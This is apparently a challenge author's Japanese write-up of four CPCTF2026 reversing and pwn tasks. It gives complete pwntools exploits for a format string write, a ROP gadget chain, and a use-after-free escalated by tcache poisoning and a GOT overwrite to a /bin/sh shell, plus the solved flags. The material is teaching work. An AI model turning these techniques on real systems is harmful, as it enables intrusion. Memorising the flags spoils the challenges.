このたびはCPCTF2026にご参加いただきありがとうございました。
この記事では、@kavosが作問した問題の解法について書きます。
問題
今回、以下の4問を作問しました。
[Rev] Lv.3 Out of World
問題概要
バイナリが渡されます。とりあえず起動してみると、"See you!"とだけ言われて何も起きません。
解答例
Ghidraでデコンパイルしてみるとこのようになります。
bool FUN_001012ec(void) {
int iVar1;
char *pcVar2;
pcVar2 = getenv("CTF_SECRET_KEY");
iVar1 = FUN_001011a9(pcVar2);
if (iVar1 != 0) {
puts("OK, the check passed! Here is the flag:");
FUN_00101237(pcVar2);
} else {
puts("See you!");
}
return iVar1 == 0;
}
undefined8 FUN_001011a9(char *param_1) {
undefined8 uVar1;
size_t sVar2;
ulong local_18;
if (param_1 == (char *)0x0) {
uVar1 = 0;
} else {
sVar2 = strlen(param_1);
if (sVar2 == 0x18) {
for (local_18 = 0; local_18 < 0x18; local_18 = local_18 + 1) {
if ((byte)(param_1[local_18] ^ 0x23U) != (&DAT_00104050)[local_18]) {
return 0;
}
}
uVar1 = 1;
} else {
uVar1 = 0;
}
}
return uVar1;
}
void FUN_00101237(long param_1) {
long in_FS_OFFSET;
ulong local_60;
byte local_48 [41];
undefined1 local_1f;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
for (local_60 = 0; local_60 < 0x29; local_60 = local_60 + 1) {
local_48[local_60] =
*(byte *)(param_1 + local_60 % 0x18) ^
s_R]OB\wu.xOl0bEp1hs_"tx1n!ca%t;Il_00104020[local_60] ^ 0x45;
}
local_1f = 0;
puts((char *)local_48);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
// WARNING: Subroutine does not return
__stack_chk_fail();
}
return;
}
FUN_001012ecがmain関数ですが、ここでgetenv関数を使って環境変数を取得しています。その後FUN_00101237の結果に応じてflagを出力するかどうか分岐しているため、おそらくcheck_flagのような関数であると予想できます。また、FUN_00101237もflagを出力する関数であると予想できます。
FUN_00101237関数を見てみると、DAT_00104050にあるデータと(入力 ^ 0x23)を比較しています。そのため、以下のようなスクリプトによって格納すべき値がわかりそうです。
dec = "wkjp|jp|pvsfq|pf`qfw|hfz"
for c in dec:
print(chr(ord(c) ^ 0x23), end="")
これを実行すると、
THIS_IS_SUPER_SECRET_KEY
となります。よって、以下のように環境変数を設定したうえで実行するとflagが得られます。
$ export CTF_SECRET_KEY="THIS_IS_SUPER_SECRET_KEY"
$ ./chal-f7199d01c49d56bebaae2d98ff2b597c
OK, the check passed! Here is the flag:
CPCTF{c4n_y0u_f1nd_3nv1r0nm3n7_v4r1abl35}
[Pwn] Lv.3 campaign
問題概要
以下のC言語プログラムが渡されます。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void init() {
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
}
char type[] = "ai";
int main() {
init();
char name[0x60];
int phone;
printf("Hi! You are so lucky, you can get a free VIP membership for a year! Please tell me your name and phone number.\n");
printf("Name: ");
fgets(name, 0x60, stdin);
printf("Phone: ");
scanf("%d", &phone);
printf("Please confirm your information:\n");
printf("Name: ");
printf(name);
printf("Phone: ");
printf("%d\n", phone);
if (strcmp(type, "human") == 0) {
printf("Congratulations! You can get the VIP membership!\n");
system("cat flag.txt");
} else {
printf("Sorry, we can only give the VIP membership to humans.\n");
}
}
どうやら何かのキャンペーンに当選したみたいです。しかし、デフォルトでAIと判定されているようなので、なんとかhumanであることを示さなければなりません。
解答例
この部分に脆弱性があります。
printf(name);
Format String Bugと呼ばれる脆弱性で、printfの第一引数に任意の文字列を入力できると、書式文字列を含む文字列を入力することで意図しない動作を引き起こすことができます。
たとえば、%p(変数をポインタとして表示する)指定子を使用すると、
Hi! You are so lucky, you can get a free VIP membership for a year! Please tell me your name and phone number.
Name: %p.%p.%p.%p.%p.%p
Phone: 100
Please confirm your information:
Name: 0x7ffc662eb330.(nil).(nil).0x6.(nil).0x2000000
このように表示されます。
書式指定子にはさまざまありますが、このうち%nは「これまで出力した文字数をメモリに出力する」という効果があります。これを利用すると任意の位置のメモリを任意の値に書き換えることができます。そのため、これを用いて"ai"を"human"に置き換えればフラグを獲得できます。
readelfコマンド等でシンボルを見ると変数typeは0x404050にあることがわかるので、
0x404050を0x68に0x404051を0x75に0x404052を0x6dに0x404053を0x61に0x404054を0x6eに
するとよいです。スクリプトを書くと、たとえばこのようになります。
from pwn import *
import sys
elf = ELF('./campaign')
conn = remote('133.88.122.244', 99999)
target = elf.symbols['type']
hu = 0x7568
ma = 0x616d
n = 0x6e
count = 0
fstr = f'%{hu}c%13$hn'
count += hu
fstr += f'%{(ma - count) % 0x10000}c%14$hn'
count += (ma - count) % 0x10000
fstr += f'%{(n - count) % 0x100}c%15$hhn'
payload = fstr.encode()
payload = payload.ljust(0x28, b'a')
payload += p64(target) # hu
payload += p64(target + 2) # ma
payload += p64(target + 4) # n
conn.sendlineafter(b'Name: ', payload)
conn.sendlineafter(b'Phone: ', b'100')
conn.interactive()
CPCTF{b3_c4r3fu1_0f_ph15h1ng_m3s54g3s}
感想とか
FSBの入門的な問題として作りました。%nは非常に面白い性質を持っていますが、GOT Overwriteまで含めてしまうと難易度が上がりすぎてしまうので、グローバル変数の書き換えという形で出題してみました。
[Pwn] Lv.4 coding agent
問題概要
ソースコードが配布されず、バイナリのみが渡されます。
どうやらコーディングエージェントみたいですが、起動してみると
Hello! I'm a super-intelligent coding agent powered by an LLM.
How can I help you today?
> write hello world
Sorry, your weekly limit has been reached. Please try again next week.
このように、すぐにレートリミットに到達して何もやってくれません。
解答例
checksecをするとcanaryが存在せず、長い文字列を入力するとクラッシュするのでバッファオーバーフローがありそうだとわかります。
さて、アセンブリを読んでいくとwin関数があることがわかります。その最初の方を読むとこのようなコードに遭遇します。
00000000004013f8 <win>:
4013f8: f3 0f 1e fa endbr64
4013fc: 55 push rbp
4013fd: 48 89 e5 mov rbp,rsp
401400: 48 81 ec 40 01 00 00 sub rsp,0x140
401407: 4c 89 b5 d8 fe ff ff mov QWORD PTR [rbp-0x128],r14
40140e: 48 89 9d d0 fe ff ff mov QWORD PTR [rbp-0x130],rbx
401415: 4c 89 a5 c8 fe ff ff mov QWORD PTR [rbp-0x138],r12
40141c: 48 b8 76 68 00 00 00 movabs rax,0x7a0000006876
401423: 7a 00 00
401426: 48 39 85 d8 fe ff ff cmp QWORD PTR [rbp-0x128],rax
40142d: 75 26 jne 401455 <win+0x5d>
40142f: 48 b8 00 40 08 00 d0 movabs rax,0x3b001d000084000
401436: 01 b0 03
401439: 48 39 85 d0 fe ff ff cmp QWORD PTR [rbp-0x130],rax
401440: 75 13 jne 401455 <win+0x5d>
401442: 48 b8 40 2c 00 00 07 movabs rax,0x700002c40
401449: 00 00 00
40144c: 48 39 85 c8 fe ff ff cmp QWORD PTR [rbp-0x138],rax
401453: 74 14 je 401469 <win+0x71>
401455: 48 8d 05 a8 0b 00 00 lea rax,[rip+0xba8] # 402004 <_IO_stdin_used+0x4>
40145c: 48 89 c7 mov rdi,rax
40145f: e8 4c fc ff ff call 4010b0 <puts@plt>
これより、
r14に0x7a0000006876rbxに0x3b001d000084000r12に0x700002c40
を入れた状態でwinを呼び出せばチェックを通過することがわかります。その後も処理は続きますが、これは入力された3つの値から"flag.txt"を復元して読みだす処理を行っています。
さて、アセンブリを見るとすぐ上にこのようなコードがあります。
4013ed: 5b pop rbx
4013ee: 5d pop rbp
4013ef: 41 5c pop r12
4013f1: 41 5d pop r13
4013f3: 41 5e pop r14
4013f5: 41 5f pop r15
4013f7: c3 ret
このgadgetを使うことで、要求されたレジスタに値を入れることができそうです。
from pwn import *
import sys
conn = remote('133.88.122.244', 99999)
elf = ELF('./coding-agent')
payload = b'A' * 0x28
payload += p64(0x4013ed)
payload += p64(0x3b001d000084000) # rbx
payload += p64(0x0) # rbp
payload += p64(0x700002c40) # r12
payload += p64(0x0) # r13
payload += p64(0x7a0000006876) # r14
payload += p64(0x0) # r15
payload += p64(elf.symbols['win'])
conn.sendlineafter(b'> ', payload)
conn.interactive()
CPCTF{u53_sc4nf_w17h_s1z3_0f_buFf3r5}
感想など
ほんの少しだけひねったROPです。デコンパイラよりアセンブリを読んだ方がわかりやすい場面もあるということを伝えようと思って作りました。
[Pwn] Lv.5 diary
問題概要
日記を管理するアプリケーションです。
このようなソースコードが与えられます。
#include <iostream>
#include <string>
#include <vector>
#include <stdexcept>
class DiaryImpl {
public:
DiaryImpl(const std::string &content, int m = 0, int d = 0)
: content(content), month(m), day(d)
{
if (m == 0 && d == 0) {
throw std::runtime_error("Invalid date");
}
lines = 1;
words = 0;
bool in_word = false;
for (char c : content) {
if (c == '\n')
lines++;
if (c == ' ' || c == '\n' || c == '\t') {
if (in_word) {
words++;
in_word = false;
}
} else {
in_word = true;
}
}
if (in_word) {
words++;
}
}
~DiaryImpl() = default;
void show() {
std::cout << content << "\n=======================\n" << words << " words, " << lines << " lines" << std::endl;
}
void show_summary() {
std::cout << "Diary - " << month << "/" << day << std::endl;
}
void to_upper() {
for (char &c : content) {
c = std::toupper(c);
}
}
void set_date(int m, int d) {
month = m;
day = d;
}
void set_content(const std::string &new_content) { content = new_content; }
size_t size() const { return content.size(); }
private:
int month;
int day;
int lines;
int words;
std::string content;
};
class Diary {
public:
Diary(const std::string &content, int month = 0, int day = 0) {
impl = new DiaryImpl(content, month, day);
}
~Diary() { delete impl; }
void show() { impl->show(); }
void show_summary() { impl->show_summary(); }
void to_upper() { impl->to_upper(); }
void update(const std::string &new_content, int month, int day) {
if (new_content != "") {
impl->set_content(new_content);
}
impl->set_date(month, day);
}
size_t size() const { return impl->size(); }
private:
DiaryImpl *impl;
};
inline std::string user_input(const char *prompt) {
std::string input;
std::cout << prompt;
std::cout.flush();
std::cin.ignore();
char *line = nullptr;
size_t len = 0;
ssize_t read = getline(&line, &len, stdin);
if (read < 0) {
exit(1);
}
if (line[read - 1] == '\n') {
line[read - 1] = '\0';
}
return std::string(line);
}
std::vector<Diary> diaries;
void create() {
int month, day;
std::cout << "Enter date (month day): ";
std::cout.flush();
std::cin >> month >> day;
std::string content = user_input("Enter diary content: ");
diaries.emplace_back(content, month, day);
}
void show_with_emphasis(Diary diary) {
diary.to_upper();
diary.show();
}
void show(bool formatted = false) {
int index;
std::cout << "Enter diary index: ";
std::cout.flush();
std::cin >> index;
if (index >= 0 && index < diaries.size()) {
if (formatted) {
show_with_emphasis(diaries[index]);
} else {
diaries[index].show();
}
} else {
std::cout << "Invalid index." << std::endl;
}
}
void update() {
int index;
std::cout << "Enter diary index to update: ";
std::cout.flush();
std::cin >> index;
if (index >= 0 && index < diaries.size()) {
int month, day;
std::cout << "Enter new date (month day): ";
std::cout.flush();
std::cin >> month >> day;
std::string content = user_input("Enter new diary content: ");
diaries[index].update(content, month, day);
std::cout << "Diary updated." << std::endl;
} else {
std::cout << "Invalid index." << std::endl;
}
}
void list_diaries() {
std::cout << "Diaries:" << std::endl;
for (size_t i = 0; i < diaries.size(); ++i) {
std::cout << i << ": ";
diaries[i].show_summary();
}
std::cout.flush();
}
int main() {
diaries.reserve(64);
while (true) {
std::cout << "1. Create Diary\n"
"2. Show Diary\n"
"3. Show Diary with Emphasis\n"
"4. Update Diary\n"
"5. List Diaries\n"
"6. Exit\n"
"Enter your choice: ";
std::cout.flush();
int choice;
std::cin >> choice;
std::cout << std::endl;
switch (choice) {
case 1:
create();
break;
case 2:
show(false);
break;
case 3:
show(true);
break;
case 4:
update();
break;
case 5:
list_diaries();
break;
case 6:
std::cout << "Exiting..." << std::endl;
return 0;
default:
std::cout << "Invalid choice." << std::endl;
return 0;
}
std::cout << std::endl;
}
return 0;
}
解答例
脆弱性
この関数に脆弱性があります。
void show_with_emphasis(Diary diary) {
diary.to_upper();
diary.show();
}
// 呼び出し部
show_with_emphasis(diaries[index]);
show_with_emphasis関数ではDiaryを値渡ししています。そのため、値渡しされるDiaryはコンパイラが暗黙的に生成したコピーコンストラクタを用いて生成され、関数終了時にこのオブジェクトは破棄されます。しかしながら、暗黙的に生成されるコピーコンストラクタはポインタ変数をshallow copyするため、以下のようにしてUse After Freeが成立します。
Diaryを値渡しすると、DiaryImplのポインタの値のみがコピーされる(実体は1つのみ)- 関数が終了し、
Diaryのデストラクタが呼び出される delete implが実行され、DiaryImplはfreeされる- しかし、呼び出し側からはその
Diaryにアクセスできるため、Diaryがもつimplはfreeされたものである
方針
逆アセンブル結果を見ると、C++関数のほかにstrlen関数が存在しています。これを調べると、std::stringの初期化時に呼び出されていることがわかります。ソースコード上では
inline std::string user_input(const char *prompt) {
std::string input;
std::cout << prompt;
std::cout.flush();
std::cin.ignore();
char *line = nullptr;
size_t len = 0;
ssize_t read = getline(&line, &len, stdin);
if (read < 0) {
exit(1);
}
if (line[read - 1] == '\n') {
line[read - 1] = '\0';
}
return std::string(line);
}
このuser_input関数の最終行から呼び出されるので、GOT Overwriteによってstrlenをsystemなどにすることでフラグを獲得できそうです。
全体的な方針は、
- libcアドレスのリーク
- ヒープ位置のリーク
- GOT Overwrite
という流れです。GOT Overwriteに関しては、tcacheのnextをGOTに指定したうえでcreateするとGOT上にDiaryが作成され、コンストラクタでint変数month dayが書き込まれるので、それを使用するとGOT Overwriteできます。
libcアドレスのリーク
今回は、書き込む文字列の長さによってstd::stringが内部的に確保するバッファのサイズを操作できます。そのため、ある程度長い文字列を入力し、unsorted binのfd/bkメンバがmain_arenaを指していることからlibcアドレスを特定します。
for i in range(9):
create(1, 1, b'A' * 0x100)
for i in range(9):
show_emphasis(i)
usbin = show(7)
usbin_fd = u64(usbin[:8])
usbin_bk = u64(usbin[8:16])
libc_base = usbin_bk - main_arena_offset
log.info(f'libc base: {libc_base:#x}')
heapアドレスのリーク (Safe Linkingの解除)
Safe Linkingを突破するためにheapアドレスのリークを行います。tcacheの本来のnextの値がNULLだった場合、観測できるnextの値はSafe LinkingにおいてアドレスにXORを掛ける値に等しいです。
nextの値であれば、DiaryImplクラスのmonthとdayが見られればわかります。
show_emphasis(18)
# heap position leak
ds = list_diaries()
print(ds)
match = re.search(b'18: Diary - (\d+)/(\d+)', ds)
if not match:
log.error('Failed to find date in show output')
exit(1)
heap_pos = int(match.group(1))
log.info(f'Extracted heap position: {heap_pos:#x}')
GOT Overwrite
最後にGOT Overwriteとして、strlenをsystemに書き換えます。書き込みの際、monthやdayが符号付き4バイト整数であることに注意してください。
# GOT overwrite
protected_got = heap_pos ^ elf.got['strlen']
log.info(f'Calculated protected GOT address: {protected_got:#x}, row strlen GOT: {elf.got["strlen"]:#x}')
protected_got_upper = signed_int(protected_got >> 32)
protected_got_lower = signed_int(protected_got & 0xffffffff)
update(19, str(protected_got_lower), str(protected_got_upper), b'')
create(1, 1, b'B' * 0x5)
system_addr = libc_base + libc.symbols['system']
log.info(f'Calculated system address: {system_addr:#x}')
system_addr_upper = signed_int(system_addr >> 32)
system_addr_lower = signed_int(system_addr & 0xffffffff)
create(system_addr_lower, system_addr_upper, b'')
シェル奪取
最後に、書き換えられたstrlenを呼ぶためにcreateを呼び出します。
create(1, 1, b'/bin/sh\x00')
エクスプロイトの全体
from pwn import *
import sys
import re
import ctypes
# context.log_level = 'debug'
conn = remote('133.88.122.244', 99999)
elf = ELF('./diary')
libc = ELF('./libc.so.6')
main_arena_offset = 0x79a445603b20 - 0x79a445400000
def signed_int(val):
return ctypes.c_int32(val).value
def create(month, day, content):
conn.sendlineafter(b'Enter your choice: ', b'1')
conn.sendlineafter(b'Enter date (month day): ', f'{month} {day}'.encode())
conn.sendlineafter(b'Enter diary content: ', content)
def show(index):
conn.sendlineafter(b'Enter your choice: ', b'2')
conn.sendlineafter(b'Enter diary index: ', str(index).encode())
return conn.recvuntil(b'=======================')
def show_emphasis(index):
conn.sendlineafter(b'Enter your choice: ', b'3')
conn.sendlineafter(b'Enter diary index: ', str(index).encode())
return conn.recvuntil(b'=======================')
def update(index, month, day, content):
conn.sendlineafter(b'Enter your choice: ', b'4')
conn.sendlineafter(b'Enter diary index to update: ', str(index).encode())
conn.sendlineafter(b'Enter new date (month day): ', f'{month} {day}'.encode())
if content == b'':
conn.sendlineafter(b'Enter new diary content: ', b'')
else:
conn.sendlineafter(b'Enter new diary content: ', content)
def list_diaries():
conn.sendlineafter(b'Enter your choice: ', b'5')
return conn.recvuntil(b'1. Create Diary')
# libc leak
for i in range(9):
create(1, 1, b'A' * 0x100)
for i in range(9):
show_emphasis(i)
list_diaries()
usbin = show(7)
usbin_fd = u64(usbin[:8])
usbin_bk = u64(usbin[8:16])
libc_base = usbin_bk - main_arena_offset
log.info(f'libc base: {libc_base:#x}')
# clear tcache & leave only two chunk in tcache
for i in range(9):
create(1, 1, b'B' * 0x5)
create(1, 1, b'B' * 0x5)
create(1, 1, b'B' * 0x5) # free after leaking heap position
show_emphasis(18)
# heap position leak
ds = list_diaries()
print(ds)
match = re.search(b'18: Diary - (\d+)/(\d+)', ds)
if not match:
log.error('Failed to find date in show output')
exit(1)
heap_pos = int(match.group(1))
log.info(f'Extracted heap position: {heap_pos:#x}')
show_emphasis(19) # tcache count = 2
# GOT overwrite
protected_got = heap_pos ^ elf.got['strlen']
log.info(f'Calculated protected GOT address: {protected_got:#x}, row strlen GOT: {elf.got["strlen"]:#x}')
protected_got_upper = signed_int(protected_got >> 32)
protected_got_lower = signed_int(protected_got & 0xffffffff)
update(19, str(protected_got_lower), str(protected_got_upper), b'')
list_diaries()
create(1, 1, b'B' * 0x5)
list_diaries()
system_addr = libc_base + libc.symbols['system']
log.info(f'Calculated system address: {system_addr:#x}')
system_addr_upper = signed_int(system_addr >> 32)
system_addr_lower = signed_int(system_addr & 0xffffffff)
create(system_addr_lower, system_addr_upper, b'')
create(1, 1, b'/bin/sh\x00')
conn.interactive()
CPCTF{s7r0ng1y_r3c0mmend3d_t0_u3e_3m4r7_p01nt3r}
感想など
私が適当に書いたC++コードをAIに指摘されたことがきっかけで問題になりました。謎にp-implを使っていたり、入力で面倒なことをやっていたりしますが、なるべく自然なプログラムになるようにしています。
Rustにしたらコンパイラに怒られそうなプログラムですね。
おわりに
改めて、CPCTFに参加していただいた皆さん、解いていただいた皆さん、本当にありがとうございました。相変わらず典型+αくらいの問題しか作れなかったので、もし来年も機会があればもっと面白い問題が作れるように努力していきたいです。